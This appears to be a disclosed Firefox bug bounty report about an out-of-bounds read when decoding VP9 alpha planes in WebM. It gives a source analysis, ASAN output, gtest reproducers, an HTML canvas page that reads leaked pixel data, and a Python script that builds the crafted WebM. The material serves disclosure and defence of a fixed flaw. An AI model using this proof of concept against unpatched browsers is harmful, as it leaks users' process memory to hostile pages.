VPX Alpha Plane Dimension Mismatch OOB Read
A crafted WebM file with a VP9 alpha plane whose dimensions differ from the main luma plane causes Firefox to use the luma stride and dimensions when reading the alpha buffer, leading to an out-of-bounds read. An attacker could leak memory contents into the rendered video pixels, which a page can read back via canvas.
Originally disclosed on Mozilla
- Fixed in 15 days
- Paid in 42 days
- Disclosed after 15 days
Web-reachable via <video> with crafted WebM. RDD process (media.rdd-vpx.enabled = true on all desktops). No user interaction beyond page load.
When decoding VP9 with alpha (WebM AlphaMode=1), VideoData::CreateAndCopyData discards the alpha plane's stride/width/height and substitutes the luma (Y) plane's values. libyuv::I420AlphaToARGB then reads luma-sized rows from the tiny alpha buffer. With main frame 640x480 and alpha frame 2x2, libyuv reads 307,200 bytes from a 4-byte buffer. OOB alpha values are composited into ARGB output pixels and exfiltrable via canvas.getImageData().
The Bug
VPXDecoder.cpp:249-254 correctly captures alpha metadata:
alpha_plane.mData = img_alpha->planes[0];
alpha_plane.mStride = img_alpha->stride[0]; // captured
alpha_plane.mHeight = img_alpha->d_h; // captured
alpha_plane.mWidth = img_alpha->d_w; // captured
MediaData.cpp:456-461 discards all of it, using Y-plane stride and dimensions:
nsresult result = ConvertI420AlphaToARGB(
aBuffer.mPlanes[0].mData, aBuffer.mPlanes[1].mData,
aBuffer.mPlanes[2].mData, aAlphaPlane.mData, // only .mData used
AssertedCast<int>(aBuffer.mPlanes[0].mStride), // Y stride for alpha too
AssertedCast<int>(aBuffer.mPlanes[1].mStride),
buffer.data, buffer.stride,
buffer.size.width, buffer.size.height); // Y dimensions, not alpha
yuv_convert.cpp:589 passes ya_pitch for both Y and alpha stride to libyuv:
return ToNSResult(libyuv::I420AlphaToARGB(
y_buf, ya_pitch, u_buf, uv_pitch, v_buf, uv_pitch,
a_buf, ya_pitch, // alpha gets Y stride
argb_buf, argb_pitch, pic_width, pic_height, 1));
ValidateBufferAndPicture (line 411) only validates YUV planes. No alpha dimension validation exists anywhere in the call chain.
ASAN Proof
==28650==ERROR: AddressSanitizer: BUS on unknown address
==28650==The signal is caused by a READ memory access.
#0 I422AlphaToARGBRow_NEON (XUL:arm64+0x1150fb44)
#1 I420AlphaToARGB (XUL:arm64+0x114fb970)
#2 mozilla::gfx::ConvertI420AlphaToARGB (XUL:arm64+0x5f8fb30)
#3 VPXAlphaOOB_AlphaStrideMismatchOOBRead_Test::TestBody
SIGBUS on arm64 because libyuv's NEON path does a wide SIMD load from the 4-byte alpha buffer into unmapped memory. On x86 this would report heap-buffer-overflow READ.
PoC
dom/media/gtest/TestVPXAlphaOOBRead.cpp:
#include "gtest/gtest.h"
#include <cstdlib>
#include <cstring>
#include <vector>
#include "nsError.h"
#include "YCbCrUtils.h"
TEST(VPXAlphaOOB, AlphaStrideMismatchOOBRead)
{
const int yWidth = 640;
const int yHeight = 480;
const int yStride = yWidth;
const int uvWidth = yWidth / 2;
const int uvHeight = yHeight / 2;
const int uvStride = uvWidth;
const int alphaWidth = 2;
const int alphaHeight = 2;
const int alphaStride = alphaWidth;
std::vector<uint8_t> yPlane(yStride * yHeight, 128);
std::vector<uint8_t> uPlane(uvStride * uvHeight, 128);
std::vector<uint8_t> vPlane(uvStride * uvHeight, 128);
std::vector<uint8_t> alphaPlane(alphaStride * alphaHeight, 255);
const int argbStride = yWidth * 4;
std::vector<uint8_t> argbOut(argbStride * yHeight, 0);
// Bug: aSrcStrideYA = Y stride (640), alpha buffer is only 4 bytes.
// libyuv reads 640 bytes/row for 480 rows from 4-byte buffer.
nsresult rv = mozilla::gfx::ConvertI420AlphaToARGB(
yPlane.data(), uPlane.data(), vPlane.data(),
alphaPlane.data(),
yStride, uvStride,
argbOut.data(), argbStride,
yWidth, yHeight);
EXPECT_EQ(NS_OK, rv);
}
TEST(VPXAlphaOOB, AlphaHeightMismatchOOBRead)
{
const int yWidth = 320;
const int yHeight = 240;
const int yStride = yWidth;
const int uvWidth = yWidth / 2;
const int uvHeight = yHeight / 2;
const int uvStride = uvWidth;
const int alphaHeight = 4;
std::vector<uint8_t> yPlane(yStride * yHeight, 128);
std::vector<uint8_t> uPlane(uvStride * uvHeight, 128);
std::vector<uint8_t> vPlane(uvStride * uvHeight, 128);
std::vector<uint8_t> alphaPlane(yStride * alphaHeight, 255);
const int argbStride = yWidth * 4;
std::vector<uint8_t> argbOut(argbStride * yHeight, 0);
nsresult rv = mozilla::gfx::ConvertI420AlphaToARGB(
yPlane.data(), uPlane.data(), vPlane.data(),
alphaPlane.data(),
yStride, uvStride,
argbOut.data(), argbStride,
yWidth, yHeight);
EXPECT_EQ(NS_OK, rv);
}
HTML PoC (pocs/vpx_alpha_oob.html) + WebM generator (pocs/vpx_alpha_oob_gen.py) attached. The generator uses ffmpeg to encode a 64x64 main VP9 frame and a 2x2 alpha VP9 frame, then assembles them into a WebM with BlockAdditional for the alpha channel.
python3 pocs/vpx_alpha_oob_gen.py # generates vpx_alpha_mismatch.webm
python3 -m http.server 8766 --directory pocs/
./mach run -- http://localhost:8766/vpx_alpha_oob.html
pocs/vpx_alpha_oob.html:
<!DOCTYPE html>
<html>
<head>
<title>VPX Alpha Plane Mismatch OOB Read</title>
</head>
<body>
<h3>VPX Alpha Plane OOB Read PoC</h3>
<p>This page plays a crafted WebM with mismatched alpha/luma dimensions.</p>
<p>Under ASAN: expect <code>heap-buffer-overflow READ</code> in <code>I420AlphaToARGB</code>.</p>
<p>Without ASAN: OOB alpha values composited into pixels, readable via canvas below.</p>
<hr>
<video id="v" width="256" height="256" muted></video>
<canvas id="c" width="256" height="256"></canvas>
<pre id="log"></pre>
<script>
const log = document.getElementById("log");
function emit(msg) {
log.textContent += msg + "\n";
console.log(msg);
}
const video = document.getElementById("v");
const canvas = document.getElementById("c");
const ctx = canvas.getContext("2d");
video.addEventListener("error", () => {
emit("Video error: " + (video.error ? video.error.message : "unknown"));
});
video.addEventListener("loadeddata", () => {
emit("Video loaded: " + video.videoWidth + "x" + video.videoHeight);
video.currentTime = 0;
});
video.addEventListener("seeked", () => {
ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
emit("Frame drawn to canvas.");
try {
const imageData = ctx.getImageData(0, 0, 64, 64);
const d = imageData.data;
let nonTrivialAlpha = 0;
for (let i = 3; i < d.length; i += 4) {
if (d[i] !== 0 && d[i] !== 255 && d[i] !== 128) {
nonTrivialAlpha++;
}
}
emit("Pixels with unexpected alpha values: " + nonTrivialAlpha + " / " + (d.length / 4));
if (nonTrivialAlpha > 0) {
emit("OOB alpha data leaked into output pixels!");
}
} catch (e) {
emit("getImageData error: " + e);
}
});
video.src = "vpx_alpha_mismatch.webm";
video.load();
</script>
</body>
</html>
pocs/vpx_alpha_oob_gen.py:
#!/usr/bin/env python3
"""
Generate a crafted WebM file with mismatched alpha/luma dimensions.
The main VP9 track encodes a 64x64 frame, but the alpha BlockAdditional
contains a VP9 bitstream encoding a 2x2 frame. When Firefox decodes this,
VPXDecoder uses separate codec instances for luma and alpha. The luma
dimensions (64x64) are used for the alpha plane read stride/size in
ConvertI420AlphaToARGB, causing an OOB read on the small alpha buffer.
Usage: python3 vpx_alpha_oob_gen.py
Output: vpx_alpha_mismatch.webm
"""
import struct
import subprocess
import tempfile
import os
import sys
def encode_vp9_frame(width, height, tmpdir, label):
"""Use ffmpeg to encode a single-frame VP9 IVF, return raw VP9 frame bytes."""
raw_path = os.path.join(tmpdir, f"{label}.raw")
ivf_path = os.path.join(tmpdir, f"{label}.ivf")
frame_size = width * height * 3 // 2
yuv_data = bytearray(frame_size)
for i in range(width * height):
yuv_data[i] = 128
uv_offset = width * height
for i in range(width * height // 2):
yuv_data[uv_offset + i] = 128
with open(raw_path, "wb") as f:
f.write(yuv_data)
cmd = [
"ffmpeg", "-y", "-f", "rawvideo", "-pix_fmt", "yuv420p",
"-s", f"{width}x{height}", "-r", "30", "-i", raw_path,
"-frames:v", "1", "-c:v", "libvpx-vp9",
"-lossless", "1",
ivf_path,
]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"ffmpeg error for {label}:", result.stderr, file=sys.stderr)
sys.exit(1)
with open(ivf_path, "rb") as f:
header = f.read(32)
if header[:4] != b"DKIF":
raise ValueError("Not an IVF file")
frame_hdr = f.read(12)
frame_len = struct.unpack("<I", frame_hdr[:4])[0]
frame_data = f.read(frame_len)
return frame_data
def ebml_id(id_bytes):
if isinstance(id_bytes, int):
if id_bytes < 0x100:
return struct.pack("B", id_bytes)
elif id_bytes < 0x10000:
return struct.pack(">H", id_bytes)
elif id_bytes < 0x1000000:
return struct.pack(">I", id_bytes)[1:]
else:
return struct.pack(">I", id_bytes)
return id_bytes
def ebml_size(size):
if size < 0x7F:
return struct.pack("B", size | 0x80)
elif size < 0x3FFF:
return struct.pack(">H", size | 0x4000)
elif size < 0x1FFFFF:
b = struct.pack(">I", size | 0x200000)
return b[1:]
elif size < 0x0FFFFFFF:
return struct.pack(">I", size | 0x10000000)
else:
raise ValueError(f"Size too large: {size}")
def ebml_element(eid, data):
eid_bytes = ebml_id(eid)
return eid_bytes + ebml_size(len(data)) + data
def ebml_uint(eid, value, width=None):
if width is None:
if value < 0x100:
width = 1
elif value < 0x10000:
width = 2
elif value < 0x1000000:
width = 3
elif value < 0x100000000:
width = 4
else:
width = 8
data = value.to_bytes(width, "big")
return ebml_element(eid, data)
def ebml_float(eid, value):
return ebml_element(eid, struct.pack(">d", value))
def ebml_string(eid, value):
return ebml_element(eid, value.encode("ascii"))
def build_webm(main_frame, alpha_frame, width, height):
ebml_header = ebml_element(0x1A45DFA3, (
ebml_uint(0x4286, 1) +
ebml_uint(0x42F7, 1) +
ebml_uint(0x42F2, 4) +
ebml_uint(0x42F3, 8) +
ebml_string(0x4282, "webm") +
ebml_uint(0x4287, 4) +
ebml_uint(0x4285, 2)
))
segment_info = ebml_element(0x1549A966, (
ebml_uint(0x2AD7B1, 1000000) +
ebml_string(0x4D80, "alpha-mismatch-poc") +
ebml_string(0x5741, "alpha-mismatch-poc") +
ebml_float(0x4489, 1000.0)
))
video_element = ebml_element(0xE0, (
ebml_uint(0xB0, width) +
ebml_uint(0xBA, height) +
ebml_uint(0x53C0, 1)
))
track_entry = ebml_element(0xAE, (
ebml_uint(0xD7, 1) +
ebml_uint(0x73C5, 1) +
ebml_uint(0x83, 1) +
ebml_string(0x86, "V_VP9") +
ebml_uint(0x9C, 0) +
video_element
))
tracks = ebml_element(0x1654AE6B, track_entry)
track_num = b"\x81"
timecode = struct.pack(">h", 0)
flags = struct.pack("B", 0x80)
simple_block_data = track_num + timecode + flags + main_frame
block_data = track_num + timecode + struct.pack("B", 0x00)
block_element = ebml_element(0xA1, block_data + main_frame)
block_more = ebml_element(0xA6, (
ebml_uint(0xEE, 1) +
ebml_element(0xA5, alpha_frame)
))
block_additions = ebml_element(0x75A1, block_more)
block_group = ebml_element(0xA0, (
block_element +
block_additions
))
cluster = ebml_element(0x1F43B675, (
ebml_uint(0xE7, 0) +
block_group
))
segment_data = segment_info + tracks + cluster
segment = ebml_element(0x18538067, segment_data)
return ebml_header + segment
def main():
main_width, main_height = 64, 64
alpha_width, alpha_height = 2, 2
with tempfile.TemporaryDirectory() as tmpdir:
print(f"Encoding main VP9 frame ({main_width}x{main_height})...")
main_frame = encode_vp9_frame(main_width, main_height, tmpdir, "main")
print(f" -> {len(main_frame)} bytes")
print(f"Encoding alpha VP9 frame ({alpha_width}x{alpha_height})...")
alpha_frame = encode_vp9_frame(alpha_width, alpha_height, tmpdir, "alpha")
print(f" -> {len(alpha_frame)} bytes")
print("Building WebM...")
webm_data = build_webm(main_frame, alpha_frame, main_width, main_height)
out_path = os.path.join(os.path.dirname(__file__), "vpx_alpha_mismatch.webm")
with open(out_path, "wb") as f:
f.write(webm_data)
print(f"Written {len(webm_data)} bytes to {out_path}")
print("\nOpen pocs/vpx_alpha_oob.html in Firefox (ASAN build) to trigger.")
if __name__ == "__main__":
main()
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the alpha plane's stride and dimensions are discarded in MediaData.cpp and the luma plane's values are used instead, with no validation of alpha dimensions anywhere in the call chain.
Impact
An attacker could read out-of-bounds memory and exfiltrate it through canvas pixels, though the text only demonstrates this in a test harness and does not show a full remote exploit.
What the attacker needed
Victim loads a page with a crafted WebM; Firefox with RDD VPX enabled (default on desktops)
How it was found
- Generate a WebM with a 64x64 main VP9 frame and a 2x2 alpha VP9 frame using the provided generator script.
- Serve the generated file and the HTML page from a local HTTP server.
- Open the HTML page in Firefox, which loads the video and draws a frame to a canvas.
- Read pixels back with canvas.getImageData() and observe unexpected alpha values from out-of-bounds memory.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a video has transparency, the decoder reads a separate 'alpha' image that says how see-through each pixel is. Firefox mistakenly used the size of the main picture for this alpha image, so it read far past the end of the small alpha buffer. That extra memory got mixed into the visible pixels, and a web page could read those pixels back with a canvas.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.